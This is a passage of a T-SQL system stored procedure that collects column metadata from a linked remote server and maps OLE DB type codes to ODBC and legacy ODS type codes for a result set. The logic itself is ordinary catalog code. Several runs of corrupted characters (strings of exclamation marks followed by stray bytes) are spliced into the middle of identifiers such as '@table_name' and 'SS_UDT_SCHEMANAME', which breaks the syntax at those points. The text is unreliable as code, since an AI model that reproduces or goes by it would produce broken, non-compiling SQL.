        @DBTYPE_CY          = 6,    @DBTYPE_DATE        = 7,
        @DBTYPE_BSTR        = 8,    @DBTYPE_BOOL        = 11,
        @DBTYPE_VARNUMERIC  = 139,  @DBTYPE_DECIMAL     = 14,
        @DBTYPE_UI1         = 17,   @DBTYPE_BYREF       = 16384,
        @DBTYPE_I1          = 16,   @DBTYPE_UI2         = 18,
        @DBTYPE_UI4         = 19,   @DBTYPE_I8          = 20,
        @DBTYPE_UI8         = 21,   @DBTYPE_GUID        = 72,
        @DBTYPE_BYTES       = 128,  @DBTYPE_STR         = 129,
        @DBTYPE_WSTR        = 130,  @DBTYPE_NUMERIC     = 131,
        @DBTYPE_DBDATE      = 133,  @DBTYPE_DBTIME      = 134,
        @DBTYPE_DBTIMESTAMP = 135,  @DBTYPE_XML         = 141,
        @DBTYPE_DBTIME2     = 145,  @DBTYPE_DBTIMESTAMPOFFSET = 146

    declare
        @ODS_SMALLINT_NOT_NULL tinyint, @ODS_INT_NULL tinyint,
        @ODS_INT_NOT_NULL tinyint,      @ODS_TINYINT_NOT_NULL tinyint,
        @ODS_REAL_NOT_NULL tinyint,     @ODS_FLOAT_NULL tinyint,
        @ODS_FLOAT_NOT_NULL tinyint,    @ODS_MONEY_NULL tinyint,
        @ODS_MONEY_NOT_NULL tinyint,    @ODS_DATETIME_NULL tinyint,
        @ODS_DATETIME_NOT_NULL tinyint, @ODS_TEXT tinyint,
        @ODS_BIT tinyint,               @ODS_DECIMAL tinyint,
        @ODS_NUMERIC tinyint,           @ODS_GUID tinyint,
        @ODS_IMAGE tinyint,             @ODS_TIMESTAMP tinyint,
        @ODS_BINARY_NULL tinyint,       @ODS_BINARY_NOT_NULL tinyint,
        @ODS_VARBINARY tinyint,         @ODS_CHAR_NULL tinyint,
        @ODS_CHAR_NOT_NULL tinyint,     @ODS_VARCHAR tinyint,
        @ODS_DATE tinyint,              @ODS_TIME tinyint,
        @ODS_DATETIME2 tinyint,         @ODS_DATETIMEOFFSET tinyint

    select
        @ODS_IMAGE = 34,            @ODS_TEXT = 35,
        @ODS_GUID = 36,             @ODS_BINARY_NULL = 37,
        @ODS_VARBINARY = 37,        @ODS_INT_NULL = 38,
        @ODS_CHAR_NULL = 39,        @ODS_VARCHAR = 39,
        @ODS_TIMESTAMP = 45,        @ODS_BINARY_NOT_NULL = 45,
        @ODS_CHAR_NOT_NULL = 47,    @ODS_TINYINT_NOT_NULL = 48,
        @ODS_BIT = 50,              @ODS_SMALLINT_NOT_NULL = 52,
        @ODS_INT_NOT_NULL = 56,     @ODS_REAL_NOT_NULL = 59,
        @ODS_MONEY_NOT_NULL = 60,   @ODS_DATETIME_NOT_NULL = 61,
        @ODS_FLOAT_NOT_NULL = 62,   @ODS_DECIMAL = 106,
        @ODS_NUMERIC = 108,         @ODS_FLOAT_NULL = 109,
        @ODS_MONEY_NULL = 110,      @ODS_DATETIME_NULL = 111,
        @ODS_DATE = 40,             @ODS_TIME = 41,
        @ODS_DATETIME2 = 42,        @ODS_DATETIMEOFFSET = 43

    declare
        @ODBC_GUID smallint,        @ODBC_NTEXT smallint,
        @ODBC_NVARCHAR smallint,    @ODBC_NCHAR smallint,
        @ODBC_BIT smallint,         @ODBC_TINYINT smallint,
        @ODBC_IMAGE smallint,       @ODBC_VARBINARY smallint,
        @ODBC_TIMESTAMP smallint,   @ODBC_BINARY smallint,
        @ODBC_TEXT smallint,        @ODBC_CHAR smallint,
        @ODBC_NUMERIC smallint,     @ODBC_DECIMAL smallint,
        @ODBC_MONEY smallint,       @ODBC_INT smallint,
        @ODBC_SMALLINT smallint,    @ODBC_FLOAT smallint,
        @ODBC_REAL smallint,        @ODBC_VARCHAR smallint,
        @ODBC_DATETIME smallint,    @ODBC_DATE smallint,
        @ODBC_TIME2 smallint,       @ODBC_DATETIMEOFFSET smallint

    select
        @ODBC_GUID      = -11,  @ODBC_NTEXT     = -10,
        @ODBC_NVARCHAR  = -9,   @ODBC_NCHAR     = -8,
        @ODBC_BIT       = -7,   @ODBC_TINYINT   = -6,
        @ODBC_IMAGE     = -4,   @ODBC_VARBINARY = -3,
        @ODBC_TIMESTAMP = -2,   @ODBC_BINARY    = -2,
        @ODBC_TEXT      = -1,   @ODBC_CHAR      = 1,
        @ODBC_NUMERIC   = 2,    @ODBC_DECIMAL   = 3,
        @ODBC_MONEY     = 3,    @ODBC_INT       = 4,
        @ODBC_SMALLINT  = 5,    @ODBC_FLOAT     = 6,
        @ODBC_REAL      = 7,    @ODBC_VARCHAR   = 12,
        @ODBC_DATETIME  =   case @ODBCVer
                                when 2 then 11
                                else 93
                            end,
        @ODBC_DATE =        case @ODBCVer
                                when 2 then 9
                                else 91
                            end,
        @ODBC_TIME2 = -154,     @ODBC_DATETIMEOFFSET = -155

    create table #tmp_columns
    (
        TABLE_CAT sysname collate catalog_default NULL,
        TABLE_SCHEM sysname collate catalog_default NULL,
        TABLE_NAME sysname  collate catalog_default NOT NULL,
        COLUMN_NAME sysname collate catalog_default NULL,
        DATA_TYPE smallint NOT NULL,
        TYPE_NAME sysname  collate catalog_default NULL,
        COLUMN_SIZE int NULL,
        BUFFER_LENGTH int NULL,
        DECIMAL_DIGITS smallint NULL,
        NUM_PREC_RADIX smallint NULL,
        NULLABLE smallint NOT NULL,
        REMARKS nvarchar(254) collate catalog_default NULL,
        COLUMN_DEF nvarchar(254) collate catalog_default NULL,
        SQL_DATA_TYPE smallint null,
        SQL_DATETIME_SUB smallint NULL,
        CHAR_OCTET_LENGTH int NULL,
        ORDINAL_POSITION smallint,
        IS_NULLABLE varchar(254) collate catalog_default NOT NULL,
        SS_UDT_CATALOG_NAME sysname collate catalog_default NULL,
        SS_UDT_SCHEMA_NAME sysname collate catalog_default NULL,
        SS_UDT_ASSEMBLY_TYPE_NAME nvarchar(4000) collate Latin1_General_BIN NULL,
        SS_XML_SCHEMACOLLECTION_CATALOG_NAME sysname collate catalog_default NULL,
        SS_XML_SCHEMACOLLECTION_SCHEMA_NAME sysname collate catalog_default NULL,
        SS_XML_SCHEMACOLLECTION_NAME sysname collate catalog_default NULL,
        SS_DATA_TYPE tinyint null,-- Info here is for backward compatibility - SQL 6.5
        COLUMN_FLAGS int NOT NULL -- This is not returned in the final resultset, but used in conditional logic
    )

    --
    -- Gathers column info through DQ(OLEDB) from remote server.
    --
    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @table_name),0) = 0) and
            (isnull(charindex('_', @table_name),0) = 0) and
            (isnull(charindex('[', @table_n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(z5	<=vU0ame),0) = 0) and
            (isnull(charindex('%', @table_schema),0) = 0) and
            (isnull(charindex('_', @table_schema),0) = 0) and
            (isnull(charindex('[', @table_schema),0) = 0))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePattern
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        insert into #tmp_columns
        select
            TABLE_CAT           = c.TABLE_CATALOG,
            TABLE_SCHEM         = c.TABLE_SCHEMA,
            TABLE_NAME          = c.TABLE_NAME,
            COLUMN_NAME         = c.COLUMN_NAME,
            DATA_TYPE           = case c.DATA_TYPE & ~@DBTYPE_BYREF
                                      when @DBTYPE_I2             then @ODBC_SMALLINT
                                      when @DBTYPE_I4             then @ODBC_INT
                                      when @DBTYPE_R4             then @ODBC_REAL
                                      when @DBTYPE_R8             then @ODBC_FLOAT
                                      when @DBTYPE_CY             then @ODBC_MONEY
                                      when @DBTYPE_DATE           then @ODBC_DATETIME
                                      when @DBTYPE_DBDATE         then @ODBC_DATE
                                      when @DBTYPE_DBTIME         then @ODBC_DATETIME
                                      when @DBTYPE_DBTIMESTAMP    then @ODBC_DATETIME
                                      when @DBTYPE_BOOL           then @ODBC_BIT
                                      when @DBTYPE_DECIMAL        then @ODBC_DECIMAL
                                      when @DBTYPE_UI1            then @ODBC_TINYINT
                                      when @DBTYPE_I1             then @ODBC_NUMERIC
                                      when @DBTYPE_UI2            then @ODBC_NUMERIC
                                      when @DBTYPE_UI4            then @ODBC_NUMERIC
                                      when @DBTYPE_I8             then @ODBC_NUMERIC
                                      when @DBTYPE_UI8            then @ODBC_NUMERIC
                                      when @DBTYPE_NUMERIC        then @ODBC_NUMERIC
                                      when @DBTYPE_VARNUMERIC     then @ODBC_NUMERIC
                                      when @DBTYPE_GUID           then @ODBC_GUID
                                      when @DBTYPE_DBTIME2        then @ODBC_TIME2
                                      when @DBTYPE_DBTIMESTAMPOFFSET then @ODBC_DATETIMEOFFSET
                                      when @DBTYPE_BYTES then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG ) or (p.COLUMN_SIZE > 8000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_IMAGE -- exclude varbinary(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISROWVER) = @DBCOLUMNFLAGS_ISROWVER and
                                                      (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH and
                                                       p.COLUMN_SIZE = 8
                                                  then @ODBC_TIMESTAMP
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH)
                                                  then @ODBC_BINARY
                                              else @ODBC_VARBINARY -- default
                                          end
                                      when @DBTYPE_STR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG ) or (p.COLUMN_SIZE > 8000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_TEXT -- exclude varchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_CHAR
                                              else @ODBC_VARCHAR -- default
                                          end
                                      when @DBTYPE_WSTR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG) or (p.COLUMN_SIZE > 4000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_NTEXT -- exclude nvarchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_NCHAR
                                              else @ODBC_NVARCHAR -- default
                                          end
                                      when @DBTYPE_BSTR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG) or (p.COLUMN_SIZE > 4000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_NTEXT -- exclude nvarchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_NCHAR
                                              else @ODBC_NVARCHAR -- default
                                          end
                                      when @DBTYPE_XML then @ODBC_NVARCHAR
                                      else @ODBC_NVARCHAR -- Unknown OleDB datatype
                                  end,
            TYPE_NAME           = p.TYPE_NAME,
            COLUMN_SIZE         = COALESCE(c.CHARACTER_MAXIMUM_LENGTH, c.NUMERIC_PRECISION, p.COLUMN_SIZE),
            BUFFER_LENGTH       = c.CHARACTER_OCTET_LENGTH,
            DECIMAL_DIGITS      = c.NUMERIC_SCALE,
            NUM_PREC_RADIX      = NULL,
            NULLABLE            = convert(smallint, c.IS_NULLABLE),
            REMARKS             = convert(nvarchar(254),c.DESCRIPTION),
            COLUMN_DEF          = convert(nvarchar(254),c.COLUMN_DEFAULT),
            SQL_DATA_TYPE       = NULL,
            SQL_DATETIME_SUB    = convert(smallint, c.DATETIME_PRECISION), -- temporary holder (to be updated later)
            CHAR_OCTET_LENGTH   = c.CHARACTER_OCTET_LENGTH,
            ORDINAL_POSITION    = c.ORDINAL_POSITION,
            IS_NULLABLE         = case c.IS_NULLABLE
                                    when 1 then 'YES'
                                    else 'NO'
                                  end,
            -- ISSUE - These columns are not exposed by engine.
            -- ISSUE - See SQL BU 70074, which is postponed to Acadia!
            SS_UDT_CATALOG_NAME                  = convert(sysname, null), -- c.SS_UDT_CATALOGNAME,
            SS_UDT_SCHEMA_NAME                   = convert(sysname, null), -- c.SS_UDT_SCHEMANAME,
            SS_UDT_ASSEMBLY_TYPE_NAME            = convert(nvarchar(4000), null) collate Latin1_General_BIN, -- c.SS_UDT_ASSEMBLY_TYPENAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME = convert(sysname, null), -- c.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = convert(sysname, null), -- c.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
         !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<({59"5vU0   SS_XML_SCHEMACOLLECTION_NAME         = convert(sysname, null), -- c.SS_XML_SCHEMACOLLECTIONNAME,
            --
            SS_DATA_TYPE        = null,
            COLUMN_FLAGS        = c.COLUMN_FLAGS
        from
            sys.fn_remote_columns (@table_server,@table_catalog,@table_schema,@table_name,NULL) c,
            sys.fn_remote_provider_types (@table_server, NULL, NULL) p -- LUXOR/KAGERA don't support restricting DATA_TYPE
        where
            c.DATA_TYPE = p.DATA_TYPE and p.BEST_MATCH = 1
            and
            (
                c.COLUMN_NAME like @column_name or
                @column_name is NULL
            )
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        -- copy&pasted from above, but (1) and (2) are different
        insert into #tmp_columns
        select
            TABLE_CAT           = c.TABLE_CATALOG,
            TABLE_SCHEM         = c.TABLE_SCHEMA,
            TABLE_NAME          = c.TABLE_NAME,
            COLUMN_NAME         = c.COLUMN_NAME,
            DATA_TYPE           = case c.DATA_TYPE & ~@DBTYPE_BYREF
                                      when @DBTYPE_I2             then @ODBC_SMALLINT
                                      when @DBTYPE_I4             then @ODBC_INT
                                      when @DBTYPE_R4             then @ODBC_REAL
                                      when @DBTYPE_R8             then @ODBC_FLOAT
                                      when @DBTYPE_CY             then @ODBC_MONEY
                                      when @DBTYPE_DATE           then @ODBC_DATETIME
                                      when @DBTYPE_DBDATE         then @ODBC_DATE
                                      when @DBTYPE_DBTIME         then @ODBC_DATETIME
                                      when @DBTYPE_DBTIMESTAMP    then @ODBC_DATETIME
                                      when @DBTYPE_BOOL           then @ODBC_BIT
                                      when @DBTYPE_DECIMAL        then @ODBC_DECIMAL
                                      when @DBTYPE_UI1            then @ODBC_TINYINT
                                      when @DBTYPE_I1             then @ODBC_NUMERIC
                                      when @DBTYPE_UI2            then @ODBC_NUMERIC
                                      when @DBTYPE_UI4            then @ODBC_NUMERIC
                                      when @DBTYPE_I8             then @ODBC_NUMERIC
                                      when @DBTYPE_UI8            then @ODBC_NUMERIC
                                      when @DBTYPE_NUMERIC        then @ODBC_NUMERIC
                                      when @DBTYPE_VARNUMERIC     then @ODBC_NUMERIC
                                      when @DBTYPE_GUID           then @ODBC_GUID
                                      when @DBTYPE_DBTIME2        then @ODBC_TIME2
                                      when @DBTYPE_DBTIMESTAMPOFFSET then @ODBC_DATETIMEOFFSET
                                      when @DBTYPE_BYTES then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG ) or (p.COLUMN_SIZE > 8000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_IMAGE -- exclude varbinary(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISROWVER) = @DBCOLUMNFLAGS_ISROWVER and
                                                      (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH and
                                                       p.COLUMN_SIZE = 8
                                                  then @ODBC_TIMESTAMP
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH)
                                                  then @ODBC_BINARY
                                              else @ODBC_VARBINARY -- default
                                          end
                                      when @DBTYPE_STR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG ) or (p.COLUMN_SIZE > 8000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_TEXT -- exclude varchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_CHAR
                                              else @ODBC_VARCHAR -- default
                                          end
                                      when @DBTYPE_WSTR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG) or (p.COLUMN_SIZE > 4000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_NTEXT -- exclude nvarchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_NCHAR
                                              else @ODBC_NVARCHAR -- default
                                          end
                                      when @DBTYPE_BSTR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG) or (p.COLUMN_SIZE > 4000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_NTEXT -- exclude nvarchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_NCHAR
                                              else @ODBC_NVARCHAR -- default
                                          end
                                      when @DBTYPE_XML then @ODBC_NVARCHAR
                                      else @ODBC_NVARCHAR -- Unknown OleDB datatype
                                  end,
            TYPE_NAME           = p.TYPE_NAME,
            COLUMN_SIZE         = COALESCE(c.CHARACTER_MAXIMUM_LENGTH, c.NUMERIC_PRECISION, p.COLUMN_SIZE),
            BUFFER_LENGTH       = c.CHARACTER_OCTET_LENGTH,
            DECIMAL_DIGITS      = c.NUMERIC_SCALE,
            NUM_PREC_RADIX      = NULL,
            NULLABLE            = convert(smallint, c.IS_NULLABLE),
            REMARKS             = convert(nvarchar(254),c.DESCRIPTION),
            COLUMN_DEF          = convert(nvarchar(254),c.COLUMN_DEFAULT),
            SQL_DATA_TYPE       = NULL,
            SQL_DATETIME_SUB    = convert(smallint, c.DATETIME_PRECISION), -- temporary holder (to be updated later)
            CHAR_OCTET_LENGTH   = c.CHARACTER_OCTET_LENGTH,
            ORDINAL_POSITION    = c.ORDINAL_POSITION,
            IS_NULLABLE         = case c.IS_NULLABLE
                                      when 1 then 'YES'
                                      else 'NO'
                                  end,
            -- ISSUE - These columns are not exposed by engine.
            -- ISSUE - See SQL BU 70074, which is postponed to Acadia!
            SS_UDT_CATALOG_NAME                  = convert(sysname, null), -- c.SS_UDT_CATALOGNAME,
            SS_UDT_SCHEMA_NAME                   = convert(sysname, null), -- c.SS_U!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(|5YvU0DT_SCHEMANAME,
            SS_UDT_ASSEMBLY_TYPE_NAME            = convert(nvarchar(4000), null) collate Latin1_General_BIN, -- c.SS_UDT_ASSEMBLY_TYPENAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME = convert(sysname, null), -- c.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = convert(sysname, null), -- c.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
            SS_XML_SCHEMACOLLECTION_NAME         = convert(sysname, null), -- c.SS_XML_SCHEMACOLLECTIONNAME,
            --
            SS_DATA_TYPE        = null,
            COLUMN_FLAGS        = c.COLUMN_FLAGS
        from
            sys.fn_remote_columns (@table_server,@table_catalog,NULL,NULL,NULL) c, -- (1)
            sys.fn_remote_provider_types (@table_server, NULL, NULL) p -- LUXOR/KAGERA don't support restricting DATA_TYPE
        where
            c.DATA_TYPE = p.DATA_TYPE and p.BEST_MATCH = 1 and
            (
                TABLE_SCHEMA like @table_schema or
                @table_schema is NULL or
                (TABLE_SCHEMA is NULL and @table_schema = N'%')
            )
            and
            (
                c.COLUMN_NAME like @column_name or
                @column_name is NULL
            ) and
            c.TABLE_NAME like @table_name -- (2)
    end

    --
    -- Converts OLEDB types to ODBC types.
    --
    update #tmp_columns
    set
        DATA_TYPE               = case
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then @ODBC_NVARCHAR
                                      when #tmp_columns.DATA_TYPE IN (@ODBC_DATE, @ODBC_TIME2, @ODBC_DATETIMEOFFSET)
                                          then @ODBC_NVARCHAR
                                      else #tmp_columns.DATA_TYPE
                                  end,
        TYPE_NAME               = case
                                      when #tmp_columns.DATA_TYPE = @ODBC_BINARY and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISROWVER) = @DBCOLUMNFLAGS_ISROWVER and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH and
                                           BUFFER_LENGTH = 8
                                          then 'timestamp'
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then 'datetime2'
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           #tmp_columns.SQL_DATETIME_SUB = 3
                                          then 'datetime'
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           #tmp_columns.SQL_DATETIME_SUB = 0
                                          then 'smalldatetime'
                                      when #tmp_columns.DATA_TYPE = @ODBC_MONEY and
                                           #tmp_columns.COLUMN_SIZE = 10
                                          then 'smallmoney'
                                      when (#tmp_columns.DATA_TYPE in (@ODBC_BINARY, @ODBC_CHAR) and
                                            (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH) or
                                           #tmp_columns.DATA_TYPE in (@ODBC_TEXT, @ODBC_NTEXT, @ODBC_IMAGE)
                                          then spt_dt.TYPE_NAME collate catalog_default
                                      else isnull(#tmp_columns.TYPE_NAME, spt_dt.TYPE_NAME collate catalog_default)
                                  end,
        COLUMN_SIZE             = case
                                      when #tmp_columns.DATA_TYPE IN (@ODBC_REAL, @ODBC_FLOAT) then -- app. numeric types
                                          spt_dt.data_precision
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 19
                                                  else
                                                      (20 + #tmp_columns.SQL_DATETIME_SUB)
                                                  end
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           #tmp_columns.SQL_DATETIME_SUB = 0
                                          then 16
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           #tmp_columns.SQL_DATETIME_SUB = 3
                                          then 23
                                      when #tmp_columns.DATA_TYPE = @ODBC_TIME2
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 8
                                                  else
                                                      (9 + #tmp_columns.SQL_DATETIME_SUB)
                                                  end
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIMEOFFSET
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 26
                                                  else
                                                      (27 + #tmp_columns.SQL_DATETIME_SUB)
                                                  end
                                      else #tmp_columns.COLUMN_SIZE
                                  end,
        BUFFER_LENGTH           = case
                                      when #tmp_columns.DATA_TYPE IN (@ODBC_NUMERIC, @ODBC_DECIMAL) then  -- decimal/numeric types
                                          COLUMN_SIZE+2
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 38 -- 19*2
                                                  else
                                                      (20 + #tmp_columns.SQL_DATETIME_SUB)*2
                                                  end
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATE
                                          then 20
                                      when #tmp_columns.DATA_TYPE = @ODBC_TIME2
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 16 -- 8*2
                                                  else
                                  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(}5nvU0                    (9 + #tmp_columns.SQL_DATETIME_SUB)*2
                                                  end
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIMEOFFSET
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 52 -- 26*2
                                                  else
                                                      (27 + #tmp_columns.SQL_DATETIME_SUB)*2
                                                  end
                                      when isnull (#tmp_columns.BUFFER_LENGTH,0) = 0 then coalesce(spt_dt.length, spt_dt.data_precision)
                                      else #tmp_columns.BUFFER_LENGTH
                                  end,
        DECIMAL_DIGITS          = case
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = 0
                                          then #tmp_columns.SQL_DATETIME_SUB
                                      when #tmp_columns.DATA_TYPE IN (@ODBC_DATETIME, @ODBC_DATE, @ODBC_TIME2, @ODBC_DATETIMEOFFSET)
                                          then NULL
                                      else COALESCE (DECIMAL_DIGITS, spt_dt.numeric_scale)
                                  end,
        NUM_PREC_RADIX          = spt_dt.RADIX,
        SQL_DATA_TYPE           = case
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then @ODBC_NVARCHAR
                                      when #tmp_columns.DATA_TYPE IN (@ODBC_DATE, @ODBC_TIME2, @ODBC_DATETIMEOFFSET)
                                          then @ODBC_NVARCHAR
                                      else spt_dt.SQL_DATA_TYPE
                                  end,
        SQL_DATETIME_SUB        = case -- used to be temporary holder for DATETIME_PRECISION, update it here
                                      when #tmp_columns.DATA_TYPE in (@ODBC_DATETIME) and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = 0
                                            then 3 -- SQL_CODE_TIMESTAMP
                                      else null
                                  end,
        -- Info here is for backward compatibility - SQL 6.5
        SS_DATA_TYPE            = case
                                      when #tmp_columns.DATA_TYPE in ( @ODBC_TINYINT, @ODBC_SMALLINT, @ODBC_INT )
                                          and #tmp_columns.NULLABLE = 1
                                              then @ODS_INT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_TINYINT and #tmp_columns.NULLABLE = 0
                                          then @ODS_TINYINT_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_SMALLINT    and #tmp_columns.NULLABLE = 0
                                          then @ODS_SMALLINT_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_INT  and #tmp_columns.NULLABLE = 0
                                          then @ODS_INT_NOT_NULL
                                      when #tmp_columns.DATA_TYPE in (@ODBC_REAL, @ODBC_FLOAT) and #tmp_columns.NULLABLE = 1
                                          then @ODS_FLOAT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_REAL and #tmp_columns.NULLABLE = 0
                                          then @ODS_REAL_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_FLOAT and #tmp_columns.NULLABLE = 0
                                          then @ODS_FLOAT_NOT_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_MONEY and #tmp_columns.NULLABLE = 1
                                          then @ODS_MONEY_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_MONEY and #tmp_columns.NULLABLE = 0
                                          then @ODS_MONEY_NOT_NULL
                                      -- New date/time types introduced in Katmai return 0
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then 0
                                      when #tmp_columns.DATA_TYPE in (@ODBC_DATE, @ODBC_TIME2, @ODBC_DATETIMEOFFSET)
                                          then 0
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and #tmp_columns.NULLABLE = 1
                                          then @ODS_DATETIME_NULL
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and #tmp_columns.NULLABLE = 0
                                          then @ODS_DATETIME_NOT_NULL
